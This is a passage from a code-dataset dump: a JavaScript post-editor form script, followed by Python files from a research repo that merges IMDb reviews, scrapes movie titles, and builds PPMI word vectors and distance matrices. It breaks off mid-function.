"text": "/*jshint eqnull: true, eqeqeq: true */\n\nvar INSIGNIA_OPTIONS = {\n\tvalidate: function(value, tags){\n\t\treturn value.indexOf(\"#\") === -1;\n\t}\n};\n\nfunction canLoadInsignia() {\n\tif (window.navigator == null) {\n\t\treturn false;\n\t}\n\n\tif (navigator.userAgent.indexOf(\"MSIE\") > -1 && navigator.userAgent.indexOf(\"MSIE 11\") === -1 && navigator.userAgent.indexOf(\"Opera\") === -1) {\n\t\treturn false;\n\t}\n\n\treturn true;\n}\n\n\ndocument.addEventListener(\"DOMContentLoaded\", function(event) {\n\tvar editorDiv = document.getElementById(\"editor\");\n\tvar editor = new Quill(editorDiv);\n\tvar codeEditor = ace.edit(\"code-editor\");\n\tvar postBodyInput = document.getElementById(\"post-body\");\n\tvar validityInput = document.getElementById(\"post-validity\");\n\tvar tagsInput = document.getElementById(\"tags-input\");\n\tvar placeholderTagsInput = document.getElementById(\"placeholder-tags-input\");\n\tvar tagsInputPlugin = canLoadInsignia() ? insignia(tagsInput, INSIGNIA_OPTIONS) : null;\n\tvar form = document.getElementById(\"post-form\");\n\tvar linkButton = document.getElementById(\"add-link\");\n\tvar imageButton = document.getElementById(\"add-image\");\n\tvar quoteButton = document.getElementById(\"add-quote\");\n\tvar codeButton = document.getElementById(\"add-code\");\n\tvar alignLeftButton = document.getElementById(\"align-left\");\n\tvar alignCenterButton = document.getElementById(\"align-center\");\n\tvar alignRightButton = document.getElementById(\"align-right\");\n\tvar alignJustifyButton = document.getElementById(\"align-justify\");\n\tvar linkModalElement = document.getElementById(\"link-modal\");\n\tvar linkModal = new Modal(linkModalElement);\n\tlinkModal.input = document.getElementById(\"modal-link\");\n\tlinkModal.errorDiv = linkModal.element.querySelector(\"div.modal-error\");\n\tlinkModal.positiveButton = linkModal.element.querySelector(\"button.positive\");\n\n\tvar imageModalElement = document.getElementById(\"image-modal\");\n\tvar imageModal = new Modal(imageModalElement);\n\timageModal.linkInput = document.getElementById(\"image-url\");\n\timageModal.fileInput = document.getElementById(\"image-upload\");\n\timageModal.uploadRequest = null;\n\timageModal.positiveButton = imageModal.element.querySelector(\"button.positive\");\n\timageModal.errorDiv = imageModal.element.querySelector(\"div.modal-error\");\n\n\tvar codeModalElement = document.getElementById(\"code-modal\");\n\tvar codeModal = new Modal(codeModalElement, {keyboard: false});\n\tcodeModal.selectLanguage = document.getElementById(\"select-language\");\n\tcodeModal.positiveButton = codeModal.element.querySelector(\"button-positive\");\n\n\tvalidityInput.setCustomValidity(\"Please fill out a post body.\");\n\teditor.addModule(\"toolbar\", { container: \"div#toolbar\" });\n\teditor.addFormat(\"quote\", { \"class\": \"quote\" });\n\teditor.addFormat(\"code\", { \"class\": \"language-\" });\n\tcodeEditor.getSession().setUseWorker(false);\n\n\tfunction setPostValidity() {\n\t\tif (editor.getLength() <= 1) {\n\t\t\tvalidityInput.setCustomValidity(\"Please fill out a post body.\");\n\t\t}\n\t\telse {\n\t\t\tvalidityInput.setCustomValidity(\"\");\n\t\t}\n\t}\n\n\t//For use with event listeners for when the cancel button is pressed on a pending ajax request\n\tfunction cancelRequest(request, button) {\n\t\trequest.abort();\n\t\tbutton.classList.remove(\"working\");\n\t\tbutton.disabled = false;\n\t}\n\n\tsetPostValidity();\n\n\teditor.on(\"selection-change\", function(range) {\n\t\tif (range == null) {\n\t\t\teditorDiv.classList.remove(\"focused\");\n\t\t\tquoteButton.disabled = true;\n\t\t\tcodeButton.disabled = false;\n\t\t}\n\t\telse {\n\t\t\teditorDiv.classList.add(\"focused\");\n\t\t\tif (range.end - range.start > 0) {\n\t\t\t\tquoteButton.disabled = false;\n\t\t\t\tcodeButton.disabled = true;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tquoteButton.disabled = true;\n\t\t\t\tcodeButton.disabled = false;\n\t\t\t}\n\t\t}\n\t});\n\n\teditor.on(\"text-change\", function() {\n\t\tvar range = editor.getSelection();\n\t\tif (range == null || range.end - range.start === 0) {\n\t\t\tquoteButton.disabled = true;\n\t\t\tcodeButton.disabled = false;\n\t\t}\n\t\telse {\n\t\t\tquoteButton.disabled = false;\n\t\t\tcodeButton.disabled = true;\n\t\t}\n\n\t\tsetPostValidity();\n\t});\n\n\tlinkButton.addEventListener(\"click\", function(event) {\n\t\tlinkModal.show();\n\t\tlinkModal.input.focus();\n\t});\n\n\timageButton.addEventListener(\"click\", function(event) {\n\t\timageModal.show();\n\t});\n\n\tcodeButton.addEventListener(\"click\", function(event) {\n\t\tcodeModal.show();\n\t});\n\n\talignLeftButton.addEventListener(\"click\", function(event) {\n\t\teditor.focus();\n\t\tvar selection = editor.getSelection();\n\t\tif (selection != null) {\n\t\t\teditor.formatLine(selection.start, selection.end, \"align\", \"left\");\n\t\t}\n\t});\n\n\talignCenterButton.addEventListener(\"click\", function(event) {\n\t\teditor.focus();\n\t\tvar selection = editor.getSelection();\n\t\tif (selection != null) {\n\t\t\teditor.formatLine(selection.start, selection.end, \"align\", \"center\");\n\t\t}\n\t});\n\n\talignRightButton.addEventListener(\"click\", function(event) {\n\t\teditor.focus();\n\t\tvar selection = editor.getSelection();\n\t\tif (selection != null) {\n\t\t\teditor.formatLine(selection.start, selection.end, \"align\", \"right\");\n\t\t}\n\t});\n\n\talignJustifyButton.addEventListener(\"click\", function(event) {\n\t\teditor.focus();\n\t\tvar selection = editor.getSelection();\n\t\tif (selection != null) {\n\t\t\teditor.formatText(selection.start, selection.end + 1, \"align\", \"justify\");\n\t\t}\n\t});\n\n\tlinkModal.element.addEventListener(\"show\", function(event) {\n\t\tlinkModal.input.value = \"\";\n\t\tlinkModal.errorDiv.classList.remove(\"active\");\n\t});\n\n\tlinkModal.element.addEventListener(\"positive-pressed\", function(event) {\n\t\tif (linkModal.input.value.trim().length === 0) {\n\t\t\tlinkModal.errorDiv.classList.add(\"active\");\n\t\t\tevent.preventDefault();\n\t\t}\n\t\telse {\n\t\t\teditor.focus();\n\t\t\tvar selection = editor.getSelection();\n\t\t\teditor.setSelection(null);\n\t\t\tvar link = linkModal.input.value.trim();\n\t\t\tif (!link.match(/^.+:\\/\\//)) {\n\t\t\t\tlink = \"//\" + link;\n\t\t\t}\n\n\t\t\t//This basically indicates that we don\"t actually have a selection.\n\t\t\tif (selection.end - selection.start === 0) {\n\t\t\t\teditor.insertText(selection.start, linkModal.input.value, \"link\", link);\n\t\t\t}\n\t\t\telse {\n\t\t\t\teditor.formatText(selection.start, selection.end, \"link\", link);\n\t\t\t}\n\t\t}\n\t});\n\n\tlinkModal.element.addEventListener(\"hide\", function(event) {\n\t\tlinkModal.positiveButton.blur();\n\t});\n\n\timageModal.element.addEventListener(\"show\", function(event) {\n\t\timageModal.linkInput.disabled = false;\n\t\timageModal.linkInput.value = \"\";\n\t\timageModal.fileInput.disabled = false;\n\t\timageModal.fileInput.value = null;\n\t\timageModal.positiveButton.classList.remove(\"working\");\n\t\timageModal.positiveButton.disabled = false;\n\t\timageModal.errorDiv.classList.remove(\"active\");\n\t});\n\n\timageModal.linkInput.addEventListener(\"input\", function(event) {\n\t\timageModal.fileInput.disabled = imageModal.linkInput.value.length !== 0;\n\t});\n\n\timageModal.fileInput.addEventListener(\"change\", function(event) {\n\t\timageModal.linkInput.disabled = true;\n\t});\n\n\timageModal.element.addEventListener(\"positive-pressed\", function(event) {\n\t\tif (!imageModal.linkInput.disabled && imageModal.linkInput.value.length > 0) {\n\t\t\teditor.focus();\n\t\t\tvar selection = editor.getSelection();\n\t\t\teditor.insertEmbed(selection.end, \"image\", imageModal.linkInput.value);\n\t\t}\n\t\telse if (!imageModal.fileInput.disabled && imageModal.fileInput.value.length > 0) {\n\t\t\tevent.preventDefault();\n\t\t\t//We\"re gonna need to do this on our own.\n\t\t\timageModal.uploadRequest = new XMLHttpRequest();\n\t\t\tvar formData = new FormData();\n\t\t\tformData.append(\"image\", imageModal.fileInput.files[0]);\n\t\t\timageModal.uploadRequest.open(\"POST\", \"/upload_image\");\n\n\t\t\timageModal.uploadRequest.onload = function() {\n\t\t\t\tvar data = JSON.parse(imageModal.uploadRequest.responseText);\n\n\t\t\t\tif (data.error === 0) {\n\t\t\t\t\teditor.focus();\n\t\t\t\t\tvar selection = editor.getSelection();\n\t\t\t\t\teditor.insertEmbed(selection.end, \"image\", data.url);\n\t\t\t\t\timageModal.hide();\n\t\t\t\t}\n\t\t\t\telse if (data.error === 2) {\n\t\t\t\t\timageModal.errorDiv.textContent = \"Image must be a JPG, PNG, or GIF.\";\n\t\t\t\t\timageModal.errorDiv.classList.add(\"active\");\n\t\t\t\t\timageModal.positiveButton.classList.remove(\"working\");\n\t\t\t\t\timageModal.positiveButton.disabled = false;\n\t\t\t\t}\n\t\t\t\timageModal.uploadRequest = null;\n\t\t\t};\n\n\t\t\tthis.addEventListener(\"neutral-pressed\", function(event) {\n\t\t\t\tcancelRequest(imageModal.uploadRequest, imageModal.positiveButton);\n\t\t\t});\n\n\t\t\timageModal.uploadRequest.send(formData);\n\t\t\timageModal.positiveButton.classList.add(\"working\");\n\t\t\timageModal.positiveButton.disabled = true;\n\t\t}\n\t});\n\n\timageModal.element.addEventListener(\"hide\", function(event) {\n\t\timageModal.positiveButton.blur();\n\t\tif (imageModal.uploadRequest != null) {\n\t\t\timageModal.uploadRequest.abort();\n\t\t}\n\t});\n\n\tcodeModal.element.addEventListener(\"show\", function(event) {\n\t\teditor.setSelection(null);\n\t\tcodeModal.selectLanguage.selectedIndex = \"0\";\n\t\tcodeEditor.setValue(\"\");\n\t\tcodeEditor.focus();\n\t});\n\n\tcodeModal.selectLanguage.addEventListener(\"change\", function(event) {\n\t\tcodeEditor.getSession().setMode(\"ace/mode/\" + codeModal.selectLanguage.value);\n\t});\n\n\tcodeModal.element.addEventListener(\"positive-pressed\", function(event) {\n\t\teditor.focus();\n\t\tvar selection = editor.getSelection();\n\t\teditor.setSelection(null);\n\t\t//Workaround to get blank lines to display\n\t\tvar input = codeEditor.getValue().split(\"\\n\");\n\t\tfor (var i = 0; i < input.length; i++) {\n\t\t\tif (input[i].length === 0) {\n\t\t\t\tinput[i] = \" \";\n\t\t\t}\n\t\t}\n\t\tinput = input.join(\"\\n\");\n\t\teditor.insertText(selection.end, input, \"code\", codeModal.selectLanguage.value);\n\t});\n\n\tcodeModal.element.addEventListener(\"hide\", function(event) {\n\t\tcodeModal.positiveButton.blur();\n\t\tcodeEditor.getSession().setMode(\"ace/mode/plain_text\");\n\t});\n\n\ttagsInput.addEventListener(\"focus\", function(event) {\n\t\tvar div = document.getElementById(\"tag-input-div\");\n\t\tdiv.classList.add(\"focused\");\n\t});\n\n\ttagsInput.addEventListener(\"blur\", function(event) {\n\t\tvar div = document.getElementById(\"tag-input-div\");\n\t\tdiv.classList.remove(\"focused\");\n\t});\n\n\tform.addEventListener(\"submit\", function(event) {\n\t\tpostBodyInput.value = editor.getHTML();\n\t\tif (canLoadInsignia()) {\n\t\t\tplaceholderTagsInput.value = tagsInputPlugin.value();\n\t\t}\n\t\telse {\n\t\t\tplaceholderTagsInput.value = tagsInput.value;\n\t\t}\n\t});\n});\n"
}
] | 35 |
cstenkamp/ConceptualSpacesII | https://github.com/cstenkamp/ConceptualSpacesII | 76977af27ca7c21cfafe59e406b4b91d75f35b6d | e92e0f6ca27d4d518ac267ece4f8b632e0c48cb4 | 9ee7896c590482cd190de00135e0e50266bcc587 | refs/heads/master | 2021-01-17T15:01:21.671773 | 2017-06-26T08:14:54 | 2017-06-26T08:14:54 | 95,390,709 | 1 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5173435807228088,
"alphanum_fraction": 0.5250130891799927,
"avg_line_length": 27.824121475219727,
"blob_id": "b3edc913803c9d1eab4c3ee3b7b3efffa12587d8",
"content_id": "f1abc9279d0a3258eaae3b37e6c34e56e2855355",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5737,
"license_type": "no_license",
"max_line_length": 79,
"num_lines": 199,
"path": "/main.py",
"repo_name": "cstenkamp/ConceptualSpacesII",
"src_encoding": "UTF-8",
"text": "import numpy as np\nimport re\n\ntitlesfile= \"dataset/all_titles.txt\"\nreviewsfile = \"dataset/all_reviews.txt\"\n\nmtitlesfile= \"dataset/merged_titles.txt\"\nmreviewsfile = \"dataset/merged_reviews.txt\"\n\nmstitlesfile= \"dataset/merged_selected_titles.txt\"\nmsreviewsfile = \"dataset/merged_selected_reviews.txt\"\nmsreviewsfile2 = \"dataset/merged_selected_reviews_nostopwords.txt\"\n\nstopwordsfile = \"stopwords.txt\"\n\ndef find_movie():\n\n titlepart = input(\"Some Part of a Movietitle...: \").lower()\n candidates = []\n \n with open(titlesfile, encoding=\"utf-8\", mode=\"r\") as file:\n for line in file:\n if titlepart in line.lower():\n if not line.replace(\"\\n\",\"\") in candidates:\n candidates.append(line.replace(\"\\n\",\"\"))\n \n print(\"Possible movies (select with number):\")\n \n candistring = \"\"\n \n for i in range(len(candidates)):\n candistring += \"(\"+str(i)+\") \"+candidates[i]+\"\\n\"\n candistring = candistring[:-1]\n \n print(candistring)\n \n selection = input(\"Which one did you mean? \")\n \n selectedmovie = candidates[int(selection)]\n print(\"You selected: \"+selectedmovie)\n\n return selectedmovie\n\n\ndef return_reviews(movietitle):\n lines = []\n with open(titlesfile, encoding=\"utf-8\", mode=\"r\") as file:\n counter = 0\n for line in file:\n if line.replace(\"\\n\",\"\") == movietitle:\n lines.append(counter)\n counter += 1\n \n reviews = []\n with open(reviewsfile, encoding=\"utf-8\", mode=\"r\") as file:\n counter = 0\n for line in file:\n if counter in lines:\n reviews.append(line.replace(\"\\n\",\"\"))\n counter += 1 \n \n return reviews\n \n \ndef merge_reviews():\n considered = []\n appending = False\n try:\n with open(mtitlesfile, encoding=\"utf-8\", mode=\"r\") as file:\n for line in file:\n text = line.replace(\"\\n\",\"\") \n considered.append(text)\n appending = True\n except:\n pass\n \n print(len(considered))\n \n allreviews = []\n alltitles = []\n counter = 0\n with open(titlesfile, encoding=\"utf-8\", mode=\"r\") as file:\n for line in file:\n text = line.replace(\"\\n\",\"\")\n \n if not text in considered:\n allreviews.append(\" \".join(return_reviews(text)))\n considered.append(text)\n alltitles.append(text)\n \n if counter % 250 == 0 and counter>0:\n print(\"Iteration:\",counter)\n \n with open(mreviewsfile, encoding=\"utf-8\", mode=\"a\") as outfile:\n if appending: \n outfile.write(\"\\n\")\n outfile.write(\"\\n\".join(allreviews))\n \n with open(mtitlesfile, encoding=\"utf-8\", mode=\"a\") as outfile:\n if appending: \n outfile.write(\"\\n\")\n outfile.write(\"\\n\".join(alltitles))\n \n allreviews = []\n alltitles = []\n \n counter += 1\n print(len(considered))\n\n\n\n\ndef add_to_one_file():\n alllens = []\n with open(mreviewsfile, encoding=\"utf-8\", mode=\"r\") as file:\n for line in file:\n alllens.append(len(line.split(\" \")))\n \n alllens = np.array(alllens)\n mean = round(np.mean(alllens))\n \n takeit = [True if i >= 0.5*mean else False for i in alllens]\n \n print(takeit)\n \n msreviews = []\n with open(mreviewsfile, encoding=\"utf-8\", mode=\"r\") as file:\n counter = 0\n for line in file:\n if takeit[counter]:\n msreviews.append(line.replace(\"\\n\",\"\"))\n counter += 1\n\n mstitles = [] \n with open(mtitlesfile, encoding=\"utf-8\", mode=\"r\") as file:\n counter = 0\n for line in file:\n if takeit[counter]:\n mstitles.append(line.replace(\"\\n\",\"\"))\n counter += 1\n \n \n with open(msreviewsfile, encoding=\"utf-8\", mode=\"w\") as outfile:\n outfile.write(\"\\n\".join(msreviews))\n \n with open(mstitlesfile, encoding=\"utf-8\", mode=\"w\") as outfile:\n outfile.write(\"\\n\".join(mstitles))\n\n\n\ndef get_files(reviewsfile):\n with open(reviewsfile, encoding=\"utf-8\", mode=\"r\") as file:\n reviews = [line for line in file]\n \n with open(mstitlesfile, encoding=\"utf-8\", mode=\"r\") as file:\n titles = [line for line in file] \n\n return reviews, titles\n\n\ndef get_stopwords():\n stopwords = []\n with open(stopwordsfile, encoding=\"utf-8\", mode=\"r\") as file:\n for line in file:\n line = line.replace(\" \",\"\").replace(\"\\n\",\"\")\n if line.find(\"|\") > 0: line = line[:line.find(\"|\")]\n if line != \"\" and line[0] != \"|\":\n stopwords.append(line)\n return stopwords\n\ndef remove_stopwords():\n reviews, titles = get_files(msreviewsfile)\n stopwords = get_stopwords()\n newreviews = []\n for curr in reviews:\n for word in stopwords:\n curr = re.sub(r\"\\b\"+word+r\"\\b\",\"\",curr)\n new = curr.replace(\"\\n\",\" \")\n new = re.sub(' +',' ',new)\n if new[0] == \" \": \n new = new[1:]\n newreviews.append(new)\n \n with open(msreviewsfile2, encoding=\"utf-8\", mode=\"w\") as outfile:\n outfile.write(\"\\n\".join(newreviews))\n\n\n\nif __name__ == '__main__':\n reviews, titles = get_files(msreviewsfile2)\n\n \n \n \n \n# merge_reviews()\n #movie1 = find_movie()\n# movie1 = \"The Shining\"\n# print(len(return_reviews(movie1)))\n\n"
},
{
"alpha_fraction": 0.4127906858921051,
"alphanum_fraction": 0.4232558012008667,
"avg_line_length": 41.31147384643555,
"blob_id": "714d8a5b1f6d0c95c4f03c2846130607dcde7e57",
"content_id": "9ccd3579b1235079fff927dc9b3fd9972c8b34a5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2580,
"license_type": "no_license",
"max_line_length": 139,
"num_lines": 61,
"path": "/aclImdb/find_titles_from_ids.py",
"repo_name": "cstenkamp/ConceptualSpacesII",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun 21 16:57:40 2017\n\n@author: csten_000\n\"\"\"\nimport re\nimport urllib.request\n\nbasepath = \"\"\n\ndef create_titlenames():\n for nextpiece in [\"test/\", \"train/\"]:\n path = basepath + nextpiece\n for lastpiece in [\"neg\", \"pos\", \"unsup\"]:\n \n if nextpiece == \"test/\" and lastpiece == \"unsup\": \n continue\n \n string = []\n try:\n with open(path+\"titles_\"+lastpiece+\".txt\", encoding=\"utf8\") as f:\n for i, l in enumerate(f):\n pass\n otherfilelen = i\n string.append(\"\")\n except:\n otherfilelen = 0\n \n \n try:\n with open(path+\"urls_\"+lastpiece+\".txt\", encoding=\"utf8\") as infile:\n counter = 0\n lastlink = \"\"\n for line in infile: \n counter = counter+1\n if otherfilelen > 0 and counter <= otherfilelen+1:\n continue\n if line != lastlink:\n try:\n imdbid = line[line.find(\"/title/\"):line.find(\"/usercomments\")]\n with urllib.request.urlopen(line) as response:\n html = response.read().decode('utf-8')\n try:\n lastname = re.findall(r'a class=\"main\" href=\"'+imdbid+r'/\">(.*?)</a>', html)[0]\n except IndexError:\n newlink = response.geturl()[response.geturl().find(\"/title/\"):response.geturl().find(\"/reviews\")]\n lastname = re.findall(r'a class=\"main\" href=\"'+newlink+r'/\">(.*?)</a>', html)[0]\n lastlink = line\n except (urllib.error.HTTPError, urllib.error.URLError, UnicodeDecodeError, ConnectionResetError, TimeoutError):\n lastname = \"NOT_FOUND\"\n print(counter,\" \",lastname)\n string.append(lastname)\n finally: #auch bei KeyboardInterrupt!\n dowhat = \"a\" if otherfilelen > 0 else \"w\"\n with open(path+\"titles_\"+lastpiece+\".txt\", dowhat) as infile:\n infile.write(\"\\n\".join(string))\n \n \nif __name__ == '__main__':\n create_titlenames()"
},
{
"alpha_fraction": 0.46620750427246094,
"alphanum_fraction": 0.48643994331359863,
"avg_line_length": 29.986665725708008,
"blob_id": "27ba198dd4e14b9e3df1edf81cc534ce861b7879",
"content_id": "8766092c2550aacc91ad1340ac7383a9d2b5c43b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2323,
"license_type": "no_license",
"max_line_length": 117,
"num_lines": 75,
"path": "/aclImdb/prepare_and_merge_reviews.py",
"repo_name": "cstenkamp/ConceptualSpacesII",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 22 15:34:01 2017\n\n@author: csten_000\n\"\"\"\n\nimport fnmatch\nimport os\nimport nltk\n\n\nfor path in [\"test/neg/\", \"test/pos/\", \"train/neg/\", \"train/pos/\", \"train/unsup/\"]:\n \n reviews = []\n \n try:\n with open(path+\"00_allreviews.txt\", encoding=\"latin-1\") as f:\n for i, l in enumerate(f):\n pass\n otherfilelen = i\n reviews.append(\"\")\n except FileNotFoundError:\n otherfilelen = 0 \n \n \n for i in range(100000): \n \n if otherfilelen > 0 and i <= otherfilelen:\n continue \n \n \n #get the sentence from file\n try:\n for file in os.listdir(path):\n if fnmatch.fnmatch(file, str(i)+'_*.txt'):\n raise StopIteration\n break #wenn er das nicht findet kommt er zu diesem break und breakt aus dem main for loop\n except StopIteration:\n with open(path+file, encoding=\"latin-1\") as infile:\n string = \" \".join([line for line in infile])\n \n newstring = string.lower()\n newstring = newstring.replace(\"<br />\",\" \")\n sentences = nltk.sent_tokenize(newstring)\n \n sent = []\n \n for sentence in sentences:\n \n tokens = nltk.word_tokenize(sentence)\n tagged = nltk.pos_tag(tokens)\n \n chunked = nltk.ne_chunk(tagged)\n \n tagged2 = nltk.pos_tag([i[0] if isinstance(i[0], str) else \"_\".join([j[0] for j in i]) for i in chunked])\n \n grammar = \"NP: {<NN.*>+}\" #\"NP: { <DT>?<JJ.*>*<NN.*>+}\"\n \n cp = nltk.RegexpParser(grammar)\n result = cp.parse(tagged2)\n sent.extend([i[0] if isinstance(i[0], str) else \"_\".join([j[0] for j in i]) for i in result])\n \n curreview = \" \".join(sent)\n reviews.append(curreview)\n \n \n if (i+1) % 100 == 0:\n print(\"Iteration:\",i+1)\n \n #print(\"\\n\".join(reviews))\n with open(path+\"00_allreviews.txt\", \"a\", encoding=\"utf-8\") as outfile:\n outfile.write(\"\\n\".join(reviews).encode('utf-8','ignore').decode('utf-8'))\n \n reviews = [\"\"]"
},
{
"alpha_fraction": 0.56197589635849,
"alphanum_fraction": 0.5794105529785156,
"avg_line_length": 34.01453399658203,
"blob_id": "b544a4f42275efadf3434b70f7b9921a3b4efacf",
"content_id": "373e11d6a4395df72b77a8177615d52d53b42770",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 24093,
"license_type": "no_license",
"max_line_length": 150,
"num_lines": 688,
"path": "/waymoremain.py",
"repo_name": "cstenkamp/ConceptualSpacesII",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 23 10:50:07 2017\n\n@author: csten_000\n\"\"\"\nimport copy\nimport collections\nfrom pathlib import Path\nimport pickle\nimport random\nimport math\nimport numpy as np\n#np.set_printoptions(threshold=np.nan)\nfrom sklearn.manifold import MDS\nfrom sklearn import svm\nimport matplotlib.pyplot as plt\nimport os\n\npath = \"\"\n\n\nmstitlesfile= \"dataset/merged_selected_titles.txt\"\nmsreviewsfile2 = \"dataset/merged_selected_reviews_nostopwords.txt\"\n\n\ndef get_files(reviewsfile):\n with open(reviewsfile, encoding=\"utf-8\", mode=\"r\") as file:\n reviews = [preparestring(line) for line in file]\n \n with open(mstitlesfile, encoding=\"utf-8\", mode=\"r\") as file:\n titles = [line for line in file] \n\n return reviews, titles\n\n\ndef preparestring(string):\n str = copy.deepcopy(string)\n str = str.lower()\n str = str.replace(\",\", \"\")\n str = str.replace(\":\", \"\")\n str = str.replace(\"(\", \"\")\n str = str.replace(\")\", \"\")\n str = str.replace(\"...\", \"\")\n str = str.replace(\".\", \"\")\n str = str.replace(\";\", \"\")\n str = str.replace('\"', \"\")\n str = str.replace(\"?\", \"\")\n str = str.replace(\"!\", \"\")\n str = str.replace(\"-\", \"\")\n str = str.replace(\"???\", \"\")\n str = str.replace(\"!!!\", \"\")\n str = str.replace(\"``\", \"\")\n str = str.replace(\"''\", \"\")\n str = str.replace(\"'\", \"\")\n str = str.replace(\"'m\", \" am\")\n str = str.replace(\"n't\", \"not\")\n str = str.replace(\"'d\", \" would\")\n str = str.replace(\"'ve\", \" have\")\n str = str.replace(\"w/o\", \"without\")\n str = str.replace(\"w/\", \"with\")\n str = str.replace(\"'ll\", \" will\")\n str = str.replace(\"'s\", \"\")\n \n while str.find(\" \") > 0: str = str.replace(\" \",\" \")\n if str.endswith(' '): str = str[:-1]\n return str\n\n\n\nclass thedataset(object):\n def __init__(self, reviews, names, lookup, uplook, count):\n self.reviews = reviews\n self.names = names\n self.lookup = lookup\n self.uplook = uplook\n self.ohnum = count+1 #len(lookup)\n\n \n def prepareback(self, str):\n str = str.replace(\" <comma>\", \",\")\n str = str.replace(\" <colon>\", \":\")\n str = str.replace(\" <openBracket>\", \"(\")\n str = str.replace(\" <closeBracket>\", \")\")\n str = str.replace(\" <dots>\", \"...\")\n str = str.replace(\" <dot>\", \".\")\n str = str.replace(\" <semicolon>\", \";\")\n str = str.replace(\"<quote>\", '\"')\n str = str.replace(\" <question>\", \"?\")\n str = str.replace(\" <exclamation>\", \"!\")\n str = str.replace(\" <hyphen> \",\"-\")\n str = str.replace(\" <END>\", \"\")\n str = str.replace(\" <SuperQuestion>\", \"???\")\n str = str.replace(\" <SuperExclamation>\", \"!!!\")\n return str\n \n\n\n\ndef make_dataset(reviews, titles):\n allwords = {}\n wordcount = 2\n \n #first we look how often each word occurs, to delete single occurences.\n string = []\n for line in reviews: \n words = line.split()\n for word in words:\n string.append(word)\n \n #now we delete single occurences.\n count = []\n count2 = []\n count.extend(collections.Counter(string).most_common(999999999))\n for elem in count:\n if elem[1] > 1:\n count2.append(elem[0])\n \n print(\"Most common words:\")\n print(count[0:5])\n\n \n #now we make a dictionary, mapping words to their indices\n for line in reviews:\n words = line.split()\n for word in words:\n if not word in allwords:\n if word in count2: #words that only occur once don't count.\n allwords[word] = wordcount\n wordcount = wordcount +1\n \n #print(allwords) \n \n #the token for single occurences is \"<UNK>\", the one for end of sentence (if needed) is reserved to 1\n allwords[\"<UNK>\"] = 0\n allwords[\"<EOS>\"] = 1 \n reverse_dictionary = dict(zip(allwords.values(), allwords.keys()))\n \n #now we make every ratings-string to an array of the respective numbers.\n ratings = [] \n for line in reviews:\n words = line.split()\n currentrating = []\n if len(words) > 1:\n for word in words:\n try:\n currentrating.append(allwords[word])\n except KeyError:\n currentrating.append(allwords[\"<UNK>\"])\n ratings.append(currentrating) \n \n \n \n #we made a dataset! :)\n datset = thedataset(ratings, titles, allwords, reverse_dictionary, wordcount)\n \n #add number occurences\n string = []\n for line in dataset.reviews: \n for word in line:\n string.append(word)\n \n count = collections.Counter(string).most_common(999999999)\n #print([dataset.uplook[i[0]] for i in count[:20]])\n dataset.numoccurences = dict(count) \n \n \n \n #add the ppmis for the data\n ppmirep = []\n allwordsinalltexts = np.sum([len(i) for i in datset.reviews]) #bei der rechnung von p_et ist der nenner diese konstante.\n for number in range(len(datset.reviews)):\n occurences = dict(collections.Counter(datset.reviews[number]).most_common(999999999))\n ppmis = {}\n pe = np.sum(len(datset.reviews[number])/allwordsinalltexts) #anzahl wörter in diesem text/anzahl wörter insgesamt\n for currword in occurences.keys():\n pet = occurences[currword]/allwordsinalltexts #wie oft kommt DIESES wort in DIESEM text vor\n pt = datset.numoccurences[currword]/allwordsinalltexts #wie oft kommt DIESES WORT insgesamt wor (normiert)\n pmi = math.log(pet/(pe*pt))\n ppmi = max(0,pmi)\n ppmis[currword] = ppmi\n # print(list(zip([datset.uplook[i] for i in datset.reviews[number][0:100]], [ppmis[i] for i in datset.reviews[number][0:100]])))\n ppmirep.append(ppmis) \n \n datset.ppmis = ppmirep \n \n return datset\n\n\n\n\ndef load_dataset(): \n print('Loading data...')\n \n if Path(path+\"dataset.pkl\").is_file():\n print(\"Dataset found!\")\n with open(path+\"dataset.pkl\", 'rb') as input:\n datset = pickle.load(input) \n else:\n datset = make_dataset(*get_files(msreviewsfile2))\n \n with open(path+\"dataset.pkl\", 'wb') as output:\n pickle.dump(datset, output, pickle.HIGHEST_PROTOCOL)\n print('Saved the dataset as Pickle-File')\n \n print(\"\"+str(datset.ohnum)+\" different words.\")\n rand = round(random.uniform(0,len(datset.names)))\n print('Sample string', datset.reviews[rand][0:100], [datset.uplook[i] for i in datset.reviews[rand][0:100]])\n \n \n print('Data loaded.')\n return datset\n\n\n\n\ndef get_ppmidata(dataset):\n# lookat = 3; print([(dataset.uplook[i],dataset.ppmis[lookat][i]) for i in dataset.reviews[lookat][0:100]]) #show a reviewset and their ppmi values\n \n# #look how sparse it is!\n# whichreview = 3 \n# multidim = []\n# for i in range(dataset.ohnum):\n# try:\n# multidim.append(dataset.ppmis[whichreview][i])\n# except:\n# multidim.append(0)\n# \n# print(multidim[:100])\n\n if Path(path+\"dataset_ppmi.pkl\").is_file():\n with open(path+\"dataset_ppmi.pkl\", 'rb') as input:\n ppmsreviews = pickle.load(input) \n print(\"PPMI-stuff loaded!\")\n else:\n \n ppmsreviews = []\n for whichreview in range(len(dataset.names)): \n \n if whichreview % 100 == 0:\n print(\"Iteration\",whichreview,\"from\",len(dataset.names))\n \n curr = []\n for i in range(dataset.ohnum):\n try:\n curr.append(dataset.ppmis[whichreview][i])\n except:\n curr.append(0)\n ppmsreviews.append(curr)\n \n with open(path+\"dataset_ppmi.pkl\", 'wb') as output:\n pickle.dump(ppmsreviews, output, pickle.HIGHEST_PROTOCOL)\n print('Saved the ppmistuff as Pickle-File')\n\n return ppmsreviews\n\n\n\ndef create_distancemat(dataset, ppms):\n if Path(path+\"dataset_distancemat.pkl\").is_file():\n with open(path+\"dataset_distancemat.pkl\", 'rb') as input:\n distancematrix = pickle.load(input) \n print(\"Distancemat-stuff loaded!\")\n else:\n num = len(dataset.reviews)\n \n distancematrix = np.zeros([num,num])\n \n for first in range(num): #pairwise distance is (x²-x)/2 items\n for second in range(first+1, 